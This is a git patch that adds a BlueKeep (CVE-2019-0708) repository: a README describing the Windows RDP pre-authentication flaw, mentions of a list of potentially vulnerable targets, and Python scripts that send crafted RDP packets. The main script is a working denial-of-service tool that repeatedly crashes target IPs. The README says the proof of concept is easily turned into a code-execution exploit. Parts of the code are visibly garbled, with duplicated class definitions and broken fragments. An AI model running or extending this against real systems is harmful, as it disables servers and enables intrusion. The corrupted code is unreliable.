From 1df4cfd7b95f9c941e7e6673e049664e1b3818e4 Mon Sep 17 00:00:00 2001 From: mr-xn Date: Sat, 31 Aug 2019 10:50:23 +0800 Subject: [PATCH] upload about CVE-2019-0708 --- BlueKeep/README.md | 48 ++ BlueKeep/bluekeep_poc.py | 427 ++++++++++++++++++ BlueKeep/bluekeep_weaponized_dos.py | 372 +++++++++++++++ BlueKeep/requirements.txt | 1 + BlueKeep/research/[MS-RDPBCGR].pdf | Bin 0 -> 13418188 bytes BlueKeep/research/notes.txt | 13 + BlueKeep/research/rdp_packets/rdp.pcap | Bin 0 -> 228994 bytes BlueKeep/research/rdp_packets/rdpmac.pcap | Bin 0 -> 3119953 bytes .../research/rdp_packets/rdpmacclear.pcap | Bin 0 -> 2316750 bytes BlueKeep/research/vulnerable_targets.txt | 54 +++ BlueKeep/setup.sh | 4 + 11 files changed, 919 insertions(+) create mode 100644 BlueKeep/README.md create mode 100644 BlueKeep/bluekeep_poc.py create mode 100644 BlueKeep/bluekeep_weaponized_dos.py create mode 100644 BlueKeep/requirements.txt create mode 100644 BlueKeep/research/[MS-RDPBCGR].pdf create mode 100644 BlueKeep/research/notes.txt create mode 100644 BlueKeep/research/rdp_packets/rdp.pcap create mode 100644 BlueKeep/research/rdp_packets/rdpmac.pcap create mode 100644 BlueKeep/research/rdp_packets/rdpmacclear.pcap create mode 100644 BlueKeep/research/vulnerable_targets.txt create mode 100644 BlueKeep/setup.sh diff --git a/BlueKeep/README.md b/BlueKeep/README.md new file mode 100644 index 00000000..bc774816 --- /dev/null +++ b/BlueKeep/README.md @@ -0,0 +1,48 @@ +# Bluekeep PoC + +This repo contains research concerning CVE-2019-0708. + +Bluekeep or CVE-2019-0708 is an RCE exploit that effects the following versions of Windows systems: + + - Windows 2003 + - Windows XP + - Windows Vista + - Windows 7 + - Windows Server 2008 + - Windows Server 2008 R2 + +The vulnerability occurs during pre-authorization and has the potential to run arbitrary malicious code in the NT Authority\system +user security context. + +# How it works + +By sending a specially crafted packet an attacker is able to set the value for the Channel ID to something the RDP service isn't expecting, this causes a memory corruption bug that will create the conditions for Remote Code Execution to occur. Should the attacker choose to follow up with packets designed to take advantage of this flaw remote code execution can be achieved with System user privileges. + +# Setup + +``` +git clone https://github.com/ekultek/bluekeep +cd bluekeep +bash setup.sh +``` + +That should do what you need done and fix any issue you have. + +### Credits + +Research by [Ekultek](https://github.com/Ekultek) and (VectorSEC)/[NullArray](https://github.com/NullArray) + +Development & Testing by [Ekultek](https://github.com/Ekultek) + +**Follow us on Twitter** + + - [Ekultek](https://twitter.com/saltythegod) + - [VectorSEC](https://twitter.com/Real__Vector) + +### In Closing + +You can see some of our research, along with a list of potentially vulnerable targets under the research directory. We started with very little and decided that we weren't going to stop until we had a working exploit. I have been able to execute commands on Windows XP with this PoC personally. + +**Note** + +There are no payloads. This is just a PoC. _HOWEVER_ it is easily ported to an exploit since you can easily add payloads to this. diff --git a/BlueKeep/bluekeep_poc.py b/BlueKeep/bluekeep_poc.py new file mode 100644 index 00000000..0cb6477f --- /dev/null +++ b/BlueKeep/bluekeep_poc.py @@ -0,0 +1,427 @@ +import socket +import binascii +import argparse + +from OpenSSL import * +from impacket.impacket.structure import Structure + + +# impacket structures +class TPKT(Structure): + commonHdr = ( + ('Version', 'B=3'), + ('Reserved', 'B=0'), + ('Length', '>H=len(TPDU)+4'), + ('_TPDU', '_-TPDU', 'self["Length"]-4'), + ('TPDU', ':=""'), + ) + + +class TPDU(Structure): + commonHdr = ( + ('LengthIndicator', 'B=len(VariablePart)+1'), + ('Code', 'B=0'), + ('VariablePart', ':=""'), + ) + + def __init__(self, data=None): + Structure.__init__(self, data) + self['VariablePart'] = '' + + +class CR_TPDU(Structure): + commonHdr = ( + ('DST-REF', 'H=len(TPDU)+4'), + ('_TPDU', '_-TPDU', 'self["Length"]-4'), + ('TPDU', ':=""'), + ) + + +class TPDU(Structure): + commonHdr = ( + ('LengthIndicator', 'B=len(VariablePart)+1'), + ('Code', 'B=0'), + ('VariablePart', ':=""'), + ) + + def __init__(self, data=None): + Structure.__init__(self, data) + self['VariablePart'] = '' + + +class CR_TPDU(Structure): + commonHdr = ( + ('DST-REF', 'h', deletion_structure + ) + bin_differ = bytearray() + bin_differ.extend(map(ord, packet)) + bin_differ[2] = size_differ_0[0] + bin_differ[3] = size_differ_0[1] + bin_differ[10] = size_differ_1[0] + bin_differ[11] = size_differ_1[1] + bin_differ[107] = size_differ_2[0] + bin_differ[108] = size_differ_2[1] + bin_differ[116] = 0x81 + bin_differ[117] = size_differ_3[1] + bin_differ[130] = 0x81 + bin_differ[131] = size_differ_4[1] + bin_differ[392] = size_differ_5[1] + tls.sendall(bytes(bin_differ)) + results = tls.recv(8192) + if verbose: + print("[@] received: {}".format(repr(results))) + + +def send_client_information_pdu_packet(tls): + """ + client info packets + """ + packet = unpack( + "0300016102f08064000703eb7081524000a1a509040904bb47030000000e00080000000000000041004100410041004100410041000000" + "740065007300740000000000000002001c003100390032002e004141410038002e003200330032002e0031000000400043003a005c0057" + "0049004e0041414100570053005c00730079007300740065006d00330032005c006d007300740073006300610078002e0064006c006c00" + "0000a40100004d006f0075006e007400610069006e0020005300740061006e0064006100720064002000540069006d0065000000000000" + "00000000000000000000000000000000000b00000001000200000000000000000000004d006f0075006e007400610069006e0020004400" + "610079006c0069006700680074002000540069006d00650000000000000000000000000000000000000000000000030000000200020000" + "0000000000c4ffffff0100000006000000000064000000" + ) + tls.sendall(bytes(packet)) + + +def send_channel_pdu_packets(tls, retval_size=1024, verbose=False): + """ + channel join + erect domain + and user packets in one swoop + """ + packet = unpack("0300000c02f0800401000100") + tls.sendall(bytes(packet)) + packet = unpack("0300000802f08028") + tls.sendall(bytes(packet)) + results = tls.recv(retval_size) + if verbose: + print("[@] received: {}".format(repr(results))) + packet = unpack("0300000c02f08038000703eb") + tls.sendall(bytes(packet)) + results = tls.recv(retval_size) + if verbose: + print("[@] received: {}".format(repr(results))) + packet = unpack("0300000c02f08038000703ec") + tls.sendall(bytes(packet)) + results = tls.recv(retval_size) + if verbose: + print("[@] received: {}".format(repr(results))) + packet = unpack("0300000c02f08038000703ed") + tls.sendall(bytes(packet)) + results = tls.recv(retval_size) + if verbose: + print("[@] received: {}".format(repr(results))) + packet = unpack("0300000c02f08038000703ee") + tls.sendall(bytes(packet)) + results = tls.recv(retval_size) + if verbose: + print("[@] received: {}".format(repr(results))) + packet = unpack("0300000c02f08038000703ef") + tls.sendall(bytes(packet)) + results = tls.recv(retval_size) + if verbose: + print("[@] received: {}".format(repr(results))) + + +def send_confirm_active_pdu_packet(tls): + """ + confirm the user is active + """ + packet = unpack( + "0300026302f08064000703eb70825454021300f003ea030100ea0306003e024d5354534300170000000100180001000300000200000000" + "1d04000000000000000002001c00200001000100010080073804000001000100001a010000000300580000000000000000000000000000" + "0000000000000001001400000001000000aa000101010101000001010100010000000101010101010101000101010000000000a1060600" + "000000000084030000000000e404000013002800030000037800000078000000fc09008000000000000000000000000000000000000000" + "000a0008000600000007000c00000000000000000005000c00000000000200020008000a0001001400150009000800000000000d005800" + "910020000904000004000000000000000c0000000000000000000000000000000000000000000000000000000000000000000000000000" + "00000000000000000000000000000000000000000000000000000000000c000800010000000e0008000100000010003400fe000400fe00" + "0400fe000800fe000800fe001000fe002000fe004000fe008000fe0000014000000800010001030000000f0008000100000011000c0001" + "0000000028640014000c00010000000000000015000c0002000000000a00011a000800af9400001c000c0012000000000000001b000600" + "01001e0008000100000018000b0002000000030c001d005f0002b91b8dca0f004f15589fae2d1a87e2d6010300010103d4cc44278a9d74" + "4e803c0ecbeea19c54053100310000000100000025000000c0cb080000000100c1cb1d00000001c0cf0200080000014000020101010001" + "400002010104" + ) + byte_differ = bytearray() + byte_differ.extend(map(ord, packet)) + tls.sendall(bytes(byte_differ)) + + +def send_establish_session_pdu_packet(tls): + """ + establish the connection + """ + packet = unpack("0300002402f08064000703eb701616001700f003ea030100000108001f0000000100ea03") + tls.sendall(bytes(packet)) + packet = unpack("0300002802f08064000703eb701a1a001700f003ea03010000010c00140000000400000000000000") + tls.sendall(bytes(packet)) + packet = unpack("0300002802f08064000703eb701a1a001700f003ea03010000010c00140000000100000000000000") + tls.sendall(bytes(packet)) + packet = unpack( + "0300058102f08064000703eb70857272051700f003ea030100000100002b00000000000000a9000000000000000000a900000000000200" + "0000a3ce2035db94a5e60da38cfb64b763cae79a84c10d67b791767121f96796c0a2775ad8b2744f30352be7b0d2fd81901a8fd55eee5a" + "6dcbea2fa52b06e90b0ba6ad012f7a0b7cff89d3a3e1f80096a68d9a42fcab14058f16dec805baa0a8ed30d86782d79f84c33827da61e3" + "a8c365e6ec0cf63624b20ba6171f463016c7736014b5f13a3c957d7d2f747e56ff9ce001329df2d9355e95782fd5156c18340f43d72b97" + "a9b428f4736c16db43d7e5580c5a03e37358d7d976c2fe0bd7f412431b706d74c23df12660588031070e85a395f89376999feca0d4955b" + "05fa4fdf778a7c299f0b4fa1cbfa9566ba47e3b044df83034424f41ef2e5cba95304c276cb4dc6c2d43fd38cb37cf3aaf393fe25bd327d" + "486e939668e5182bea84256902a538656f0f9ff6a13a1d229d3f6de04cee8b24f0dcff7052a70df9528a1e331a301115d7f895a9bb7425" + "8ce3e9930743f55060f7962ed3ff63e0e324f1103d8e0f56bc2eb8900cfa4b9668fe596821d0ff52fe5c7d90d439be479d8e7aaf954f10" + "ea7b7ad3ca07283e4e4b810ef15f1f8dbe0640272f4a03803267542f93fd255d6da0ad234572ffd1eb5b5175a761e03fe4eff496cda513" + "8ae6527470bfc1f9fb689edd728fb4445f3acb752a20a669d276f957462b5bdaba0f9be060e18b9033410a2dc506fed0f0fcde35d41eaa" + "760baef4d5bdfaf355f5c16765751c1d5ee83afe54502304ae2e71c27697e639c6b2258792635261d16c07c11c00300da72f55a34f23b2" + "39c7046c97157ad72433912806a6e7c3795cae7f5054c2381e90231dd0ff5a56d61291d296decc62c8ee9a4407c1ecf7b6d99cfe301cdd" + "b33b93653cb480fbe387f0ee42d8cf08984de76b990a43ed137290a967fd3c6336ec55faf61f35e728f387a6ce2e34aa0db2fe1718a20c" + "4e5ff0d198624a2e0eb08db17f32528e87c9687c0cefee88ae742a33ff4b4dc5e5183874c72883f77287fc79fb3eced051132d7cb458a2" + "e628674feca6816cf79a29a63bcaecb8a12750b7effc81bf5d862094c01a0c4150a95e104a82f1741f7821f5706124003d475ff325803c" + "4beaa3f477eaa1421a170f6da8359e9126344304c6c65b217d8cc722917b2c2d2fd67ea552a80880eb60d144098e3ca1aa67600a26c6b5" + "c679a64f8b8c255cf10b23f4d8a66df19178f9e52a502f5a4422d9195cafd6ac97a2f80d0ce3dd884898280b8bbd76dcdecae2c24a8750" + "d48c775ad8b2744f3035bf28aed9a298a5bc60cab8904d2046d98a1a30018b38631a57095146959bd8800cb07724bf2bd35722d9195caf" + "d6ac97a2f80d0ce3dd884898280b8bbd76dcdecae2c24a8750d48c569238ed6b9b5b1fba53a10ef7751053224c0a758854693f3bf31867" + "6b0f19d1002586cda8d9dd1d8d268754d979c0746590d73332afba9d5ad56c7ca147e1496e1cce9f62aa26163f3cec5b49e5c060d4bea7" + "88bca19f29718ceb69f873fbaf29aa401be592d277a72bfbb677b731fbdc1e63637df2fe3c6aba0b20cb9d64b83114e270072cdf9c6fb5" + "3ac4d5b5c93e9ad7d530dc0e1989c60888e1ca81a628dd9c740511e7e1ccbcc776dd55e2ccc2cbd3b64801ddffbaca31ab26441cdc0601" + "dff29050b86b8fe829f0baecfb2dfd7afc7f57bdea90f7cf921ec420d0b69fd6dca182a96c5e3e83415773e9e75a3fda244f735ef4e092" + "24bd0bd03c4996b5b50532cb581d6f9751ee0cdc0b2a60ef973e5a30811591cf1107252c41db7072e175f6a5ffe844e703e361aadbe007" + "3d070be35c09a95e10fdcf749e23f1308616ef254efea493a5800a0139cc117a6e94225bd8c6c9a8df1396b391336e87bb94632d8864a7" + "5889dadc7f2ae3a166e5c87fc2dbc77d2fa946284569bcac9f859eb09f9a49b4b1cb" + ) + tls.sendall(bytes(packet)) + packet = unpack("0300002802f08064000703eb701a1a001700f003ea03010000010000270000000000000003003200") + tls.sendall(bytes(packet)) + + +def send_dos_packets(tls, arch_selected): + """ + theoretically, the arch shouldn't matter, but for good measures we'll make it matter + """ + arch_32_packet = unpack("0300002e02f08064000703ef70140c0000000300000000000000020000000000000000000000") + arch_64_packet = unpack( + "0300002e02f08064000703ef70140c000000030000000000000000000000020000000000000000000000000000000000000000000000" + ) + if arch_selected == 32: + send_packet = bytes(arch_32_packet) + else: + send_packet = bytes(arch_64_packet) + tls.sendall(send_packet) + + +def main(): + """ + main + """ + opt = Parser().optparse() + to_attack = [] + + if opt.ipToAttack is not None: + for ip in opt.ipToAttack.split(","): + to_attack.append(ip.strip()) + else: + print("usage: python 2019-0708-dos.py -i IP[IP,IP,...] [-a 32|64]") + exit(1) + + for target in to_attack: + try: + print("[+] DoSing target: {} a total of {} times".format(target, opt.dosTime)) + for i in range(opt.dosTime): + print("[+] DoS attempt: {}".format(i+1)) + print("[+] establishing initialization") + current_tls = send_initialization_pdu_packet(target, verbose=opt.runVerbose) + print("[+] sending ClientData PDU packets") + send_client_data_pdu_packet(current_tls, verbose=opt.runVerbose) + print("[+] sending ChannelJoin ErectDomain and AttachUser PDU packets") + send_channel_pdu_packets(current_tls, verbose=opt.runVerbose) + print("[+] sending ClientInfo PDU packet") + send_client_information_pdu_packet(current_tls) + print("[+] receiving current") + results = current_tls.recv(8000) + if opt.runVerbose: + print("[@] received: {}".format(repr(results))) + results = current_tls.recv(8000) + if opt.runVerbose: + print("[@] received: {}".format(repr(results))) + print("[+] confirming user is active") + send_confirm_active_pdu_packet(current_tls) + print("[+] establishing the connection") + send_establish_session_pdu_packet(current_tls) + print("[+] DoSing target: {}".format(target)) + send_dos_packets(current_tls, opt.archSelected) + print("[+] target should be dead now, waiting {}s before starting again".format(opt.waitTime)) + time.sleep(opt.waitTime) + print("\n[+] starting again\n") + except Exception as e: + print( + "[!] error on target: {} ({}), if this happened after a successful attack, change the wait " + "time".format(target, e) + ) + + +if __name__ == '__main__': + main() diff --git a/BlueKeep/requirements.txt b/BlueKeep/requirements.txt new file mode 100644 index 00000000..5be82196 --- /dev/null +++ b/BlueKeep/requirements.txt @@ -0,0 +1 @@ +pyopenssl==19.0 \ No newline at end of file diff --git a/BlueKeep/research/[MS-RDPBCGR].pdf b/BlueKeep/research/[MS-RDPBCGR].pdf new file mode 100644 index 0000000000000000000000000000000000000000..8934fcf6119954a4a2c8495ae5469565071552e0 GIT binary patch literal 13418188 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 